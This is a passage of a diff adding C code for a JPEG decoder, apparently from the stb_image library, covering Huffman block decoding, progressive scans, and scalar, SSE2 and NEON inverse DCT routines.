+   return k + (stbi__jbias[n] & (sgn - 1));
+}
+
+// get some unsigned bits
+stbi_inline static int stbi__jpeg_get_bits(stbi__jpeg *j, int n)
+{
+   unsigned int k;
+   if (j->code_bits < n) stbi__grow_buffer_unsafe(j);
+   if (j->code_bits < n) return 0; // ran out of bits from stream, return 0s intead of continuing
+   k = stbi_lrot(j->code_buffer, n);
+   j->code_buffer = k & ~stbi__bmask[n];
+   k &= stbi__bmask[n];
+   j->code_bits -= n;
+   return k;
+}
+
+stbi_inline static int stbi__jpeg_get_bit(stbi__jpeg *j)
+{
+   unsigned int k;
+   if (j->code_bits < 1) stbi__grow_buffer_unsafe(j);
+   if (j->code_bits < 1) return 0; // ran out of bits from stream, return 0s intead of continuing
+   k = j->code_buffer;
+   j->code_buffer <<= 1;
+   --j->code_bits;
+   return k & 0x80000000;
+}
+
+// given a value that's at position X in the zigzag stream,
+// where does it appear in the 8x8 matrix coded as row-major?
+static const stbi_uc stbi__jpeg_dezigzag[64+15] =
+{
+    0,  1,  8, 16,  9,  2,  3, 10,
+   17, 24, 32, 25, 18, 11,  4,  5,
+   12, 19, 26, 33, 40, 48, 41, 34,
+   27, 20, 13,  6,  7, 14, 21, 28,
+   35, 42, 49, 56, 57, 50, 43, 36,
+   29, 22, 15, 23, 30, 37, 44, 51,
+   58, 59, 52, 45, 38, 31, 39, 46,
+   53, 60, 61, 54, 47, 55, 62, 63,
+   // let corrupt input sample past end
+   63, 63, 63, 63, 63, 63, 63, 63,
+   63, 63, 63, 63, 63, 63, 63
+};
+
+// decode one 64-entry block--
+static int stbi__jpeg_decode_block(stbi__jpeg *j, short data[64], stbi__huffman *hdc, stbi__huffman *hac, stbi__int16 *fac, int b, stbi__uint16 *dequant)
+{
+   int diff,dc,k;
+   int t;
+
+   if (j->code_bits < 16) stbi__grow_buffer_unsafe(j);
+   t = stbi__jpeg_huff_decode(j, hdc);
+   if (t < 0 || t > 15) return stbi__err("bad huffman code","Corrupt JPEG");
+
+   // 0 all the ac values now so we can do it 32-bits at a time
+   memset(data,0,64*sizeof(data[0]));
+
+   diff = t ? stbi__extend_receive(j, t) : 0;
+   if (!stbi__addints_valid(j->img_comp[b].dc_pred, diff)) return stbi__err("bad delta","Corrupt JPEG");
+   dc = j->img_comp[b].dc_pred + diff;
+   j->img_comp[b].dc_pred = dc;
+   if (!stbi__mul2shorts_valid(dc, dequant[0])) return stbi__err("can't merge dc and ac", "Corrupt JPEG");
+   data[0] = (short) (dc * dequant[0]);
+
+   // decode AC components, see JPEG spec
+   k = 1;
+   do {
+      unsigned int zig;
+      int c,r,s;
+      if (j->code_bits < 16) stbi__grow_buffer_unsafe(j);
+      c = (j->code_buffer >> (32 - FAST_BITS)) & ((1 << FAST_BITS)-1);
+      r = fac[c];
+      if (r) { // fast-AC path
+         k += (r >> 4) & 15; // run
+         s = r & 15; // combined length
+         if (s > j->code_bits) return stbi__err("bad huffman code", "Combined length longer than code bits available");
+         j->code_buffer <<= s;
+         j->code_bits -= s;
+         // decode into unzigzag'd location
+         zig = stbi__jpeg_dezigzag[k++];
+         data[zig] = (short) ((r >> 8) * dequant[zig]);
+      } else {
+         int rs = stbi__jpeg_huff_decode(j, hac);
+         if (rs < 0) return stbi__err("bad huffman code","Corrupt JPEG");
+         s = rs & 15;
+         r = rs >> 4;
+         if (s == 0) {
+            if (rs != 0xf0) break; // end block
+            k += 16;
+         } else {
+            k += r;
+            // decode into unzigzag'd location
+            zig = stbi__jpeg_dezigzag[k++];
+            data[zig] = (short) (stbi__extend_receive(j,s) * dequant[zig]);
+         }
+      }
+   } while (k < 64);
+   return 1;
+}
+
+static int stbi__jpeg_decode_block_prog_dc(stbi__jpeg *j, short data[64], stbi__huffman *hdc, int b)
+{
+   int diff,dc;
+   int t;
+   if (j->spec_end != 0) return stbi__err("can't merge dc and ac", "Corrupt JPEG");
+
+   if (j->code_bits < 16) stbi__grow_buffer_unsafe(j);
+
+   if (j->succ_high == 0) {
+      // first scan for DC coefficient, must be first
+      memset(data,0,64*sizeof(data[0])); // 0 all the ac values now
+      t = stbi__jpeg_huff_decode(j, hdc);
+      if (t < 0 || t > 15) return stbi__err("can't merge dc and ac", "Corrupt JPEG");
+      diff = t ? stbi__extend_receive(j, t) : 0;
+
+      if (!stbi__addints_valid(j->img_comp[b].dc_pred, diff)) return stbi__err("bad delta", "Corrupt JPEG");
+      dc = j->img_comp[b].dc_pred + diff;
+      j->img_comp[b].dc_pred = dc;
+      if (!stbi__mul2shorts_valid(dc, 1 << j->succ_low)) return stbi__err("can't merge dc and ac", "Corrupt JPEG");
+      data[0] = (short) (dc * (1 << j->succ_low));
+   } else {
+      // refinement scan for DC coefficient
+      if (stbi__jpeg_get_bit(j))
+         data[0] += (short) (1 << j->succ_low);
+   }
+   return 1;
+}
+
+// @OPTIMIZE: store non-zigzagged during the decode passes,
+// and only de-zigzag when dequantizing
+static int stbi__jpeg_decode_block_prog_ac(stbi__jpeg *j, short data[64], stbi__huffman *hac, stbi__int16 *fac)
+{
+   int k;
+   if (j->spec_start == 0) return stbi__err("can't merge dc and ac", "Corrupt JPEG");
+
+   if (j->succ_high == 0) {
+      int shift = j->succ_low;
+
+      if (j->eob_run) {
+         --j->eob_run;
+         return 1;
+      }
+
+      k = j->spec_start;
+      do {
+         unsigned int zig;
+         int c,r,s;
+         if (j->code_bits < 16) stbi__grow_buffer_unsafe(j);
+         c = (j->code_buffer >> (32 - FAST_BITS)) & ((1 << FAST_BITS)-1);
+         r = fac[c];
+         if (r) { // fast-AC path
+            k += (r >> 4) & 15; // run
+            s = r & 15; // combined length
+            if (s > j->code_bits) return stbi__err("bad huffman code", "Combined length longer than code bits available");
+            j->code_buffer <<= s;
+            j->code_bits -= s;
+            zig = stbi__jpeg_dezigzag[k++];
+            data[zig] = (short) ((r >> 8) * (1 << shift));
+         } else {
+            int rs = stbi__jpeg_huff_decode(j, hac);
+            if (rs < 0) return stbi__err("bad huffman code","Corrupt JPEG");
+            s = rs & 15;
+            r = rs >> 4;
+            if (s == 0) {
+               if (r < 15) {
+                  j->eob_run = (1 << r);
+                  if (r)
+                     j->eob_run += stbi__jpeg_get_bits(j, r);
+                  --j->eob_run;
+                  break;
+               }
+               k += 16;
+            } else {
+               k += r;
+               zig = stbi__jpeg_dezigzag[k++];
+               data[zig] = (short) (stbi__extend_receive(j,s) * (1 << shift));
+            }
+         }
+      } while (k <= j->spec_end);
+   } else {
+      // refinement scan for these AC coefficients
+
+      short bit = (short) (1 << j->succ_low);
+
+      if (j->eob_run) {
+         --j->eob_run;
+         for (k = j->spec_start; k <= j->spec_end; ++k) {
+            short *p = &data[stbi__jpeg_dezigzag[k]];
+            if (*p != 0)
+               if (stbi__jpeg_get_bit(j))
+                  if ((*p & bit)==0) {
+                     if (*p > 0)
+                        *p += bit;
+                     else
+                        *p -= bit;
+                  }
+         }
+      } else {
+         k = j->spec_start;
+         do {
+            int r,s;
+            int rs = stbi__jpeg_huff_decode(j, hac); // @OPTIMIZE see if we can use the fast path here, advance-by-r is so slow, eh
+            if (rs < 0) return stbi__err("bad huffman code","Corrupt JPEG");
+            s = rs & 15;
+            r = rs >> 4;
+            if (s == 0) {
+               if (r < 15) {
+                  j->eob_run = (1 << r) - 1;
+                  if (r)
+                     j->eob_run += stbi__jpeg_get_bits(j, r);
+                  r = 64; // force end of block
+               } else {
+                  // r=15 s=0 should write 16 0s, so we just do
+                  // a run of 15 0s and then write s (which is 0),
+                  // so we don't have to do anything special here
+               }
+            } else {
+               if (s != 1) return stbi__err("bad huffman code", "Corrupt JPEG");
+               // sign bit
+               if (stbi__jpeg_get_bit(j))
+                  s = bit;
+               else
+                  s = -bit;
+            }
+
+            // advance by r
+            while (k <= j->spec_end) {
+               short *p = &data[stbi__jpeg_dezigzag[k++]];
+               if (*p != 0) {
+                  if (stbi__jpeg_get_bit(j))
+                     if ((*p & bit)==0) {
+                        if (*p > 0)
+                           *p += bit;
+                        else
+                           *p -= bit;
+                     }
+               } else {
+                  if (r == 0) {
+                     *p = (short) s;
+                     break;
+                  }
+                  --r;
+               }
+            }
+         } while (k <= j->spec_end);
+      }
+   }
+   return 1;
+}
+
+// take a -128..127 value and stbi__clamp it and convert to 0..255
+stbi_inline static stbi_uc stbi__clamp(int x)
+{
+   // trick to use a single test to catch both cases
+   if ((unsigned int) x > 255) {
+      if (x < 0) return 0;
+      if (x > 255) return 255;
+   }
+   return (stbi_uc) x;
+}
+
+#define stbi__f2f(x)  ((int) (((x) * 4096 + 0.5)))
+#define stbi__fsh(x)  ((x) * 4096)
+
+// derived from jidctint -- DCT_ISLOW
+#define STBI__IDCT_1D(s0,s1,s2,s3,s4,s5,s6,s7) \
+   int t0,t1,t2,t3,p1,p2,p3,p4,p5,x0,x1,x2,x3; \
+   p2 = s2;                                    \
+   p3 = s6;                                    \
+   p1 = (p2+p3) * stbi__f2f(0.5411961f);       \
+   t2 = p1 + p3*stbi__f2f(-1.847759065f);      \
+   t3 = p1 + p2*stbi__f2f( 0.765366865f);      \
+   p2 = s0;                                    \
+   p3 = s4;                                    \
+   t0 = stbi__fsh(p2+p3);                      \
+   t1 = stbi__fsh(p2-p3);                      \
+   x0 = t0+t3;                                 \
+   x3 = t0-t3;                                 \
+   x1 = t1+t2;                                 \
+   x2 = t1-t2;                                 \
+   t0 = s7;                                    \
+   t1 = s5;                                    \
+   t2 = s3;                                    \
+   t3 = s1;                                    \
+   p3 = t0+t2;                                 \
+   p4 = t1+t3;                                 \
+   p1 = t0+t3;                                 \
+   p2 = t1+t2;                                 \
+   p5 = (p3+p4)*stbi__f2f( 1.175875602f);      \
+   t0 = t0*stbi__f2f( 0.298631336f);           \
+   t1 = t1*stbi__f2f( 2.053119869f);           \
+   t2 = t2*stbi__f2f( 3.072711026f);           \
+   t3 = t3*stbi__f2f( 1.501321110f);           \
+   p1 = p5 + p1*stbi__f2f(-0.899976223f);      \
+   p2 = p5 + p2*stbi__f2f(-2.562915447f);      \
+   p3 = p3*stbi__f2f(-1.961570560f);           \
+   p4 = p4*stbi__f2f(-0.390180644f);           \
+   t3 += p1+p4;                                \
+   t2 += p2+p3;                                \
+   t1 += p2+p4;                                \
+   t0 += p1+p3;
+
+static void stbi__idct_block(stbi_uc *out, int out_stride, short data[64])
+{
+   int i,val[64],*v=val;
+   stbi_uc *o;
+   short *d = data;
+
+   // columns
+   for (i=0; i < 8; ++i,++d, ++v) {
+      // if all zeroes, shortcut -- this avoids dequantizing 0s and IDCTing
+      if (d[ 8]==0 && d[16]==0 && d[24]==0 && d[32]==0
+           && d[40]==0 && d[48]==0 && d[56]==0) {
+         //    no shortcut                 0     seconds
+         //    (1|2|3|4|5|6|7)==0          0     seconds
+         //    all separate               -0.047 seconds
+         //    1 && 2|3 && 4|5 && 6|7:    -0.047 seconds
+         int dcterm = d[0]*4;
+         v[0] = v[8] = v[16] = v[24] = v[32] = v[40] = v[48] = v[56] = dcterm;
+      } else {
+         STBI__IDCT_1D(d[ 0],d[ 8],d[16],d[24],d[32],d[40],d[48],d[56])
+         // constants scaled things up by 1<<12; let's bring them back
+         // down, but keep 2 extra bits of precision
+         x0 += 512; x1 += 512; x2 += 512; x3 += 512;
+         v[ 0] = (x0+t3) >> 10;
+         v[56] = (x0-t3) >> 10;
+         v[ 8] = (x1+t2) >> 10;
+         v[48] = (x1-t2) >> 10;
+         v[16] = (x2+t1) >> 10;
+         v[40] = (x2-t1) >> 10;
+         v[24] = (x3+t0) >> 10;
+         v[32] = (x3-t0) >> 10;
+      }
+   }
+
+   for (i=0, v=val, o=out; i < 8; ++i,v+=8,o+=out_stride) {
+      // no fast case since the first 1D IDCT spread components out
+      STBI__IDCT_1D(v[0],v[1],v[2],v[3],v[4],v[5],v[6],v[7])
+      // constants scaled things up by 1<<12, plus we had 1<<2 from first
+      // loop, plus horizontal and vertical each scale by sqrt(8) so together
+      // we've got an extra 1<<3, so 1<<17 total we need to remove.
+      // so we want to round that, which means adding 0.5 * 1<<17,
+      // aka 65536. Also, we'll end up with -128 to 127 that we want
+      // to encode as 0..255 by adding 128, so we'll add that before the shift
+      x0 += 65536 + (128<<17);
+      x1 += 65536 + (128<<17);
+      x2 += 65536 + (128<<17);
+      x3 += 65536 + (128<<17);
+      // tried computing the shifts into temps, or'ing the temps to see
+      // if any were out of range, but that was slower
+      o[0] = stbi__clamp((x0+t3) >> 17);
+      o[7] = stbi__clamp((x0-t3) >> 17);
+      o[1] = stbi__clamp((x1+t2) >> 17);
+      o[6] = stbi__clamp((x1-t2) >> 17);
+      o[2] = stbi__clamp((x2+t1) >> 17);
+      o[5] = stbi__clamp((x2-t1) >> 17);
+      o[3] = stbi__clamp((x3+t0) >> 17);
+      o[4] = stbi__clamp((x3-t0) >> 17);
+   }
+}
+
+#ifdef STBI_SSE2
+// sse2 integer IDCT. not the fastest possible implementation but it
+// produces bit-identical results to the generic C version so it's
+// fully "transparent".
+static void stbi__idct_simd(stbi_uc *out, int out_stride, short data[64])
+{
+   // This is constructed to match our regular (generic) integer IDCT exactly.
+   __m128i row0, row1, row2, row3, row4, row5, row6, row7;
+   __m128i tmp;
+
+   // dot product constant: even elems=x, odd elems=y
+   #define dct_const(x,y)  _mm_setr_epi16((x),(y),(x),(y),(x),(y),(x),(y))
+
+   // out(0) = c0[even]*x + c0[odd]*y   (c0, x, y 16-bit, out 32-bit)
+   // out(1) = c1[even]*x + c1[odd]*y
+   #define dct_rot(out0,out1, x,y,c0,c1) \
+      __m128i c0##lo = _mm_unpacklo_epi16((x),(y)); \
+      __m128i c0##hi = _mm_unpackhi_epi16((x),(y)); \
+      __m128i out0##_l = _mm_madd_epi16(c0##lo, c0); \
+      __m128i out0##_h = _mm_madd_epi16(c0##hi, c0); \
+      __m128i out1##_l = _mm_madd_epi16(c0##lo, c1); \
+      __m128i out1##_h = _mm_madd_epi16(c0##hi, c1)
+
+   // out = in << 12  (in 16-bit, out 32-bit)
+   #define dct_widen(out, in) \
+      __m128i out##_l = _mm_srai_epi32(_mm_unpacklo_epi16(_mm_setzero_si128(), (in)), 4); \
+      __m128i out##_h = _mm_srai_epi32(_mm_unpackhi_epi16(_mm_setzero_si128(), (in)), 4)
+
+   // wide add
+   #define dct_wadd(out, a, b) \
+      __m128i out##_l = _mm_add_epi32(a##_l, b##_l); \
+      __m128i out##_h = _mm_add_epi32(a##_h, b##_h)
+
+   // wide sub
+   #define dct_wsub(out, a, b) \
+      __m128i out##_l = _mm_sub_epi32(a##_l, b##_l); \
+      __m128i out##_h = _mm_sub_epi32(a##_h, b##_h)
+
+   // butterfly a/b, add bias, then shift by "s" and pack
+   #define dct_bfly32o(out0, out1, a,b,bias,s) \
+      { \
+         __m128i abiased_l = _mm_add_epi32(a##_l, bias); \
+         __m128i abiased_h = _mm_add_epi32(a##_h, bias); \
+         dct_wadd(sum, abiased, b); \
+         dct_wsub(dif, abiased, b); \
+         out0 = _mm_packs_epi32(_mm_srai_epi32(sum_l, s), _mm_srai_epi32(sum_h, s)); \
+         out1 = _mm_packs_epi32(_mm_srai_epi32(dif_l, s), _mm_srai_epi32(dif_h, s)); \
+      }
+
+   // 8-bit interleave step (for transposes)
+   #define dct_interleave8(a, b) \
+      tmp = a; \
+      a = _mm_unpacklo_epi8(a, b); \
+      b = _mm_unpackhi_epi8(tmp, b)
+
+   // 16-bit interleave step (for transposes)
+   #define dct_interleave16(a, b) \
+      tmp = a; \
+      a = _mm_unpacklo_epi16(a, b); \
+      b = _mm_unpackhi_epi16(tmp, b)
+
+   #define dct_pass(bias,shift) \
+      { \
+         /* even part */ \
+         dct_rot(t2e,t3e, row2,row6, rot0_0,rot0_1); \
+         __m128i sum04 = _mm_add_epi16(row0, row4); \
+         __m128i dif04 = _mm_sub_epi16(row0, row4); \
+         dct_widen(t0e, sum04); \
+         dct_widen(t1e, dif04); \
+         dct_wadd(x0, t0e, t3e); \
+         dct_wsub(x3, t0e, t3e); \
+         dct_wadd(x1, t1e, t2e); \
+         dct_wsub(x2, t1e, t2e); \
+         /* odd part */ \
+         dct_rot(y0o,y2o, row7,row3, rot2_0,rot2_1); \
+         dct_rot(y1o,y3o, row5,row1, rot3_0,rot3_1); \
+         __m128i sum17 = _mm_add_epi16(row1, row7); \
+         __m128i sum35 = _mm_add_epi16(row3, row5); \
+         dct_rot(y4o,y5o, sum17,sum35, rot1_0,rot1_1); \
+         dct_wadd(x4, y0o, y4o); \
+         dct_wadd(x5, y1o, y5o); \
+         dct_wadd(x6, y2o, y5o); \
+         dct_wadd(x7, y3o, y4o); \
+         dct_bfly32o(row0,row7, x0,x7,bias,shift); \
+         dct_bfly32o(row1,row6, x1,x6,bias,shift); \
+         dct_bfly32o(row2,row5, x2,x5,bias,shift); \
+         dct_bfly32o(row3,row4, x3,x4,bias,shift); \
+      }
+
+   __m128i rot0_0 = dct_const(stbi__f2f(0.5411961f), stbi__f2f(0.5411961f) + stbi__f2f(-1.847759065f));
+   __m128i rot0_1 = dct_const(stbi__f2f(0.5411961f) + stbi__f2f( 0.765366865f), stbi__f2f(0.5411961f));
+   __m128i rot1_0 = dct_const(stbi__f2f(1.175875602f) + stbi__f2f(-0.899976223f), stbi__f2f(1.175875602f));
+   __m128i rot1_1 = dct_const(stbi__f2f(1.175875602f), stbi__f2f(1.175875602f) + stbi__f2f(-2.562915447f));
+   __m128i rot2_0 = dct_const(stbi__f2f(-1.961570560f) + stbi__f2f( 0.298631336f), stbi__f2f(-1.961570560f));
+   __m128i rot2_1 = dct_const(stbi__f2f(-1.961570560f), stbi__f2f(-1.961570560f) + stbi__f2f( 3.072711026f));
+   __m128i rot3_0 = dct_const(stbi__f2f(-0.390180644f) + stbi__f2f( 2.053119869f), stbi__f2f(-0.390180644f));
+   __m128i rot3_1 = dct_const(stbi__f2f(-0.390180644f), stbi__f2f(-0.390180644f) + stbi__f2f( 1.501321110f));
+
+   // rounding biases in column/row passes, see stbi__idct_block for explanation.
+   __m128i bias_0 = _mm_set1_epi32(512);
+   __m128i bias_1 = _mm_set1_epi32(65536 + (128<<17));
+
+   // load
+   row0 = _mm_load_si128((const __m128i *) (data + 0*8));
+   row1 = _mm_load_si128((const __m128i *) (data + 1*8));
+   row2 = _mm_load_si128((const __m128i *) (data + 2*8));
+   row3 = _mm_load_si128((const __m128i *) (data + 3*8));
+   row4 = _mm_load_si128((const __m128i *) (data + 4*8));
+   row5 = _mm_load_si128((const __m128i *) (data + 5*8));
+   row6 = _mm_load_si128((const __m128i *) (data + 6*8));
+   row7 = _mm_load_si128((const __m128i *) (data + 7*8));
+
+   // column pass
+   dct_pass(bias_0, 10);
+
+   {
+      // 16bit 8x8 transpose pass 1
+      dct_interleave16(row0, row4);
+      dct_interleave16(row1, row5);
+      dct_interleave16(row2, row6);
+      dct_interleave16(row3, row7);
+
+      // transpose pass 2
+      dct_interleave16(row0, row2);
+      dct_interleave16(row1, row3);
+      dct_interleave16(row4, row6);
+      dct_interleave16(row5, row7);
+
+      // transpose pass 3
+      dct_interleave16(row0, row1);
+      dct_interleave16(row2, row3);
+      dct_interleave16(row4, row5);
+      dct_interleave16(row6, row7);
+   }
+
+   // row pass
+   dct_pass(bias_1, 17);
+
+   {
+      // pack
+      __m128i p0 = _mm_packus_epi16(row0, row1); // a0a1a2a3...a7b0b1b2b3...b7
+      __m128i p1 = _mm_packus_epi16(row2, row3);
+      __m128i p2 = _mm_packus_epi16(row4, row5);
+      __m128i p3 = _mm_packus_epi16(row6, row7);
+
+      // 8bit 8x8 transpose pass 1
+      dct_interleave8(p0, p2); // a0e0a1e1...
+      dct_interleave8(p1, p3); // c0g0c1g1...
+
+      // transpose pass 2
+      dct_interleave8(p0, p1); // a0c0e0g0...
+      dct_interleave8(p2, p3); // b0d0f0h0...
+
+      // transpose pass 3
+      dct_interleave8(p0, p2); // a0b0c0d0...
+      dct_interleave8(p1, p3); // a4b4c4d4...
+
+      // store
+      _mm_storel_epi64((__m128i *) out, p0); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, _mm_shuffle_epi32(p0, 0x4e)); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, p2); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, _mm_shuffle_epi32(p2, 0x4e)); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, p1); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, _mm_shuffle_epi32(p1, 0x4e)); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, p3); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, _mm_shuffle_epi32(p3, 0x4e));
+   }
+
+#undef dct_const
+#undef dct_rot
+#undef dct_widen
+#undef dct_wadd
+#undef dct_wsub
+#undef dct_bfly32o
+#undef dct_interleave8
+#undef dct_interleave16
+#undef dct_pass
+}
+
+#endif // STBI_SSE2
+
+#ifdef STBI_NEON
+
+// NEON integer IDCT. should produce bit-identical
+// results to the generic C version.
+static void stbi__idct_simd(stbi_uc *out, int out_stride, short data[64])
+{
+   int16x8_t row0, row1, row2, row3, row4, row5, row6, row7;
+
+   int16x4_t rot0_0 = vdup_n_s16(stbi__f2f(0.5411961f));
+   int16x4_t rot0_1 = vdup_n_s16(stbi__f2f(-1.847759065f));
+   int16x4_t rot0_2 = vdup_n_s16(stbi__f2f( 0.765366865f));
+   int16x4_t rot1_0 = vdup_n_s16(stbi__f2f( 1.175875602f));
+   int16x4_t rot1_1 = vdup_n_s16(stbi__f2f(-0.899976223f));
+   int16x4_t rot1_2 = vdup_n_s16(stbi__f2f(-2.562915447f));
+   int16x4_t rot2_0 = vdup_n_s16(stbi__f2f(-1.961570560f));
+   int16x4_t rot2_1 = vdup_n_s16(stbi__f2f(-0.390180644f));
+   int16x4_t rot3_0 = vdup_n_s16(stbi__f2f( 0.298631336f));
+   int16x4_t rot3_1 = vdup_n_s16(stbi__f2f( 2.053119869f));
+   int16x4_t rot3_2 = vdup_n_s16(stbi__f2f( 3.072711026f));
+   int16x4_t rot3_3 = vdup_n_s16(stbi__f2f( 1.501321110f));
+
+#define dct_long_mul(out, inq, coeff) \
+   int32x4_t out##_l = vmull_s16(vget_low_s16(inq), coeff); \
+   int32x4_t out##_h = vmull_s16(vget_high_s16(inq), coeff)
+
+#define dct_long_mac(out, acc, inq, coeff) \
+   int32x4_t out##_l = vmlal_s16(acc##_l, vget_low_s16(inq), coeff); \
+   int32x4_t out##_h = vmlal_s16(acc##_h, vget_high_s16(inq), coeff)
+
+#define dct_widen(out, inq) \
+   int32x4_t out##_l = vshll_n_s16(vget_low_s16(inq), 12); \
+   int32x4_t out##_h = vshll_n_s16(vget_high_s16(inq), 12)
+
+// wide add
+#define dct_wadd(out, a, b) \
+   int32x4_t out##_l = vaddq_s32(a##_l, b##_l); \
+   int32x4_t out##_h = vaddq_s32(a##_h, b##_h)
+
+// wide sub
+#define dct_wsub(out, a, b) \
+   int32x4_t out##_l = vsubq_s32(a##_l, b##_l); \
+   int32x4_t out##_h = vsubq_s32(a##_h, b##_h)
+
+// butterfly a/b, then shift using "shiftop" by "s" and pack
+#define dct_bfly32o(out0,out1, a,b,shiftop,s) \
+   { \
+      dct_wadd(sum, a, b); \
+      dct_wsub(dif, a, b); \
+      out0 = vcombine_s16(shiftop(sum_l, s), shiftop(sum_h, s)); \
+      out1 = vcombine_s16(shiftop(dif_l, s), shiftop(dif_h, s)); \
+   }
+
+#define dct_pass(shiftop, shift) \
+   { \
+      /* even part */ \
+      int16x8_t sum26 = vaddq_s16(row2, row6); \
+      dct_long_mul(p1e, sum26, rot0_0); \
+      dct_long_mac(t2e, p1e, row6, rot0_1); \
+      dct_long_mac(t3e, p1e, row2, rot0_2); \
+      int16x8_t sum04 = vaddq_s16(row0, row4); \
+      int16x8_t dif04 = vsubq_s16(row0, row4); \
+      dct_widen(t0e, sum04); \
+      dct_widen(t1e, dif04); \
+      dct_wadd(x0, t0e, t3e); \
+      dct_wsub(x3, t0e, t3e); \
+      dct_wadd(x1, t1e, t2e); \
+      dct_wsub(x2, t1e, t2e); \
+      /* odd part */ \
+      int16x8_t sum15 = vaddq_s16(row1, row5); \
+      int16x8_t sum17 = vaddq_s16(row1, row7); \
+      int16x8_t sum35 = vaddq_s16(row3, row5); \
+      int16x8_t sum37 = vaddq_s16(row3, row7); \
+      int16x8_t sumodd = vaddq_s16(sum17, sum35); \
+      dct_long_mul(p5o, sumodd, rot1_0); \
+      dct_long_mac(p1o, p5o, sum17, rot1_1); \
+      dct_long_mac(p2o, p5o, sum35, rot1_2); \
+      dct_long_mul(p3o, sum37, rot2_0); \
+      dct_long_mul(p4o, sum15, rot2_1); \
+      dct_wadd(sump13o, p1o, p3o); \
+      dct_wadd(sump24o, p2o, p4o); \
+      dct_wadd(sump23o, p2o, p3o); \
+      dct_wadd(sump14o, p1o, p4o); \
+      dct_long_mac(x4, sump13o, row7, rot3_0); \
+      dct_long_mac(x5, sump24o, row5, rot3_1); \
+      dct_long_mac(x6, sump23o, row3, rot3_2); \
+      dct_long_mac(x7, sump14o, row1, rot3_3); \
+      dct_bfly32o(row0,row7, x0,x7,shiftop,shift); \
+      dct_bfly32o(row1,row6, x1,x6,shiftop,shift); \
+      dct_bfly32o(row2,row5, x2,x5,shiftop,shift); \
+      dct_bfly32o(row3,row4, x3,x4,shiftop,shift); \
+   }
+
+   // load
+   row0 = vld1q_s16(data + 0*8);
+   row1 = vld1q_s16(data + 1*8);
+   row2 = vld1q_s16(data + 2*8);
+   row3 = vld1q_s16(data + 3*8);
+   row4 = vld1q_s16(data + 4*8);
+   row5 = vld1q_s16(data + 5*8);
+   row6 = vld1q_s16(data + 6*8);
+   row7 = vld1q_s16(data + 7*8);
+
+   // add DC bias
+   row0 = vaddq_s16(row0, vsetq_lane_s16(1024, vdupq_n_s16(0), 0));
+
+   // column pass
+   dct_pass(vrshrn_n_s32, 10);
+
+   // 16bit 8x8 transpose
+   {
+// these three map to a single VTRN.16, VTRN.32, and VSWP, respectively.
+// whether compilers actually get this is another story, sadly.
+#define dct_trn16(x, y) { int16x8x2_t t = vtrnq_s16(x, y); x = t.val[0]; y = t.val[1]; }
+#define dct_trn32(x, y) { int32x4x2_t t = vtrnq_s32(vreinterpretq_s32_s16(x), vreinterpretq_s32_s16(y)); x = vreinterpretq_s16_s32(t.val[0]); y = vreinterpretq_s16_s32(t.val[1]); }
+#define dct_trn64(x, y) { int16x8_t x0 = x; int16x8_t y0 = y; x = vcombine_s16(vget_low_s16(x0), vget_low_s16(y0)); y = vcombine_s16(vget_high_s16(x0), vget_high_s16(y0)); }
+
+      // pass 1
+      dct_trn16(row0, row1); // a0b0a2b2a4b4a6b6
+      dct_trn16(row2, row3);
+      dct_trn16(row4, row5);
+      dct_trn16(row6, row7);
+
+      // pass 2
+      dct_trn32(row0, row2); // a0b0c0d0a4b4c4d4
+      dct_trn32(row1, row3);
+      dct_trn32(row4, row6);
+      dct_trn32(row5, row7);
+
+      // pass 3
+      dct_trn64(row0, row4); // a0b0c0d0e0f0g0h0
+      dct_trn64(row1, row5);
+      dct_trn64(row2, row6);
+      dct_trn64(row3, row7);
+
+#undef dct_trn16
+#undef dct_trn32
+#undef dct_trn64
+   }
+
+   // row pass
+   // vrshrn_n_s32 only supports shifts up to 16, we need
+   // 17. so do a non-rounding shift of 16 first then follow
+   // up with a rounding shift by 1.
+   dct_pass(vshrn_n_s32, 16);
+
+   {
+      // pack and round
+      uint8x8_t p0 = vqrshrun_n_s16(row0, 1);
+      uint8x8_t p1 = vqrshrun_n_s16(row1, 1);
+      uint8x8_t p2 = vqrshrun_n_s16(row2, 1);
+      uint8x8_t p3 = vqrshrun_n_s16(row3, 1);
+      uint8x8_t p4 = vqrshrun_n_s16(row4, 1);
+      uint8x8_t p5 = vqrshrun_n_s16(row5, 1);
+      uint8x8_t p6 = vqrshrun_n_s16(row6, 1);
+      uint8x8_t p7 = vqrshrun_n_s16(row7, 1);
+
+      // again, these can translate into one instruction, but often don't.
+#define dct_trn8_8(x, y) { uint8x8x2_t t = vtrn_u8(x, y); x = t.val[0]; y = t.val[1]; }
+#define dct_trn8_16(x, y) { uint16x4x2_t t = vtrn_u16(vreinterpret_u16_u8(x), vreinterpret_u16_u8(y)); x = vreinterpret_u8_u16(t.val[0]); y = vreinterpret_u8_u16(t.val[1]); }
+#define dct_trn8_32(x, y) { uint32x2x2_t t = vtrn_u32(vreinterpret_u32_u8(x), vreinterpret_u32_u8(y)); x = vreinterpret_u8_u32(t.val[0]); y = vreinterpret_u8_u32(t.val[1]); }
+
+      // sadly can't use interleaved stores here since we only write
+      // 8 bytes to each scan line!
+
+      // 8x8 8-bit transpose pass 1
+      dct_trn8_8(p0, p1);
+      dct_trn8_8(p2, p3);
+      dct_trn8_8(p4, p5);
+      dct_trn8_8(p6, p7);
+
+      // pass 2
+      dct_trn8_16(p0, p2);
+      dct_trn8_16(p1, p3);
+      dct_trn8_16(p4, p6);
+      dct_trn8_16(p5, p7);
+
+      // pass 3
+      dct_trn8_32(p0, p4);
+      dct_trn8_32(p1, p5);
+      dct_trn8_32(p2, p6);
+      dct_trn8_32(p3, p7);
+
+      // store
+      vst1_u8(out, p0); out += out_stride;
+      vst1_u8(out, p1); out += out_stride;
+      vst1_u8(out, p2); out += out_stride;
+      vst1_u8(out, p3); out += out_stride;
+      vst1_u8(out, p4); out += out_stride;
+      vst1_u8(out, p5); out += out_stride;
+      vst1_u8(out, p6); out += out_stride;
+      vst1_u8(out, p7);
+
+#undef dct_trn8_8
+#undef dct_trn8_16
+#undef dct_trn8_32
+   }
+
+#undef dct_long_mul
+#undef dct_long_mac
+#undef dct_widen
+#undef dct_wadd
+#undef dct_wsub
+#undef dct_bfly32o
+#undef dct_pass
+}
+
+#endif // STBI_NEON
+
